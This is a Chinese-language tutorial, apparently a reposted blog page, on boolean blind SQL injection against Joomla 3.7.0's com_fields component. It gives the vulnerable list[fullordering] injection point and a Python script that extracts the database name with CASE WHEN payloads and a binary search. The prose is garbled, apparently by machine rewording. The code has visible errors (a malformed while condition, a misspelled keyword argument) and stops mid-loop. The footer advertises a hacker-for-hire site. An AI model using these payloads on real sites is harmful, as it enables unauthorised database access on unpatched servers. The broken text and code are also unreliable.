本文一切实战盲注比如，均来自Joomla! 3.7.0 – ‘com_fields’ SQL Injection。
因为篇幅有限，本文就不去分析缝隙原理，直接奉告payload刺进点，来展示盲注的用法（如有需求可自行寻觅各方大佬的研讨文章）。
注入点：
http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=[payload]
BooleanBase
二分法
长处：
比遍历穷举快
缺陷：
简单被封ip
速度慢
原理解析

常用函数：
left(x,y) // 从x的最左边开端截取前y位
ascii(substr((sql),1,1))=num // 从sql句子回来的字符串的之一位开端，截取字符串的一长度，将其转换成ascii编码，然后与num比较
ord(mid((sql),1,1))=num // ord()==ascii()
regexp ‘^[a-z]‘ // 在某些情况下，用正则表达式仍是很便利的！
最终只需求将手艺测验的进程转换成python用代码自动化完成
实战
直接上代码吧
# -*- coding:UTF-8 -*-
import requests
import sys
# 准备工作
url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1' : 'l1p92lf44gi4s7jdf5q73l0bt5'}
response = requests.get('http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()),1,1)) > 78) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)',cookies=cookies,timeout=2)
print(response.text)
i = 1
while i 7:
    left = 0
    right = len(string) - 1
    mid = int((left + right) / 2)
    print('n')
    print(flag)
    print('Testing... ' + str(left) + ' ' + str(right))
    # 特殊情况
    if (right - left) == 1:
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timout=2)
        if ('安全令牌无效') in response.text:
            flag = flag + string[right]
            print(flag)
            exit()
        else:
            flag = flag + string[left]
            print(flag)
            exit()
    # 二分法
    while 1:
        mid = int((left + right) / 2)
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[mid])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timeout=2)
        # 右半部
        if ('安全令牌无效') in response.text:
            left = mid + 1
            print('left:'+str(left))
        # 左半部
        else:
            right = mid
            print('right:'+str(right))
        if (left == right):
            flag = flag + string[left]
            break
        # 特殊情况
        if (right - left) == 1:
            payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))

[1] [2] [3] [4]  黑客接单网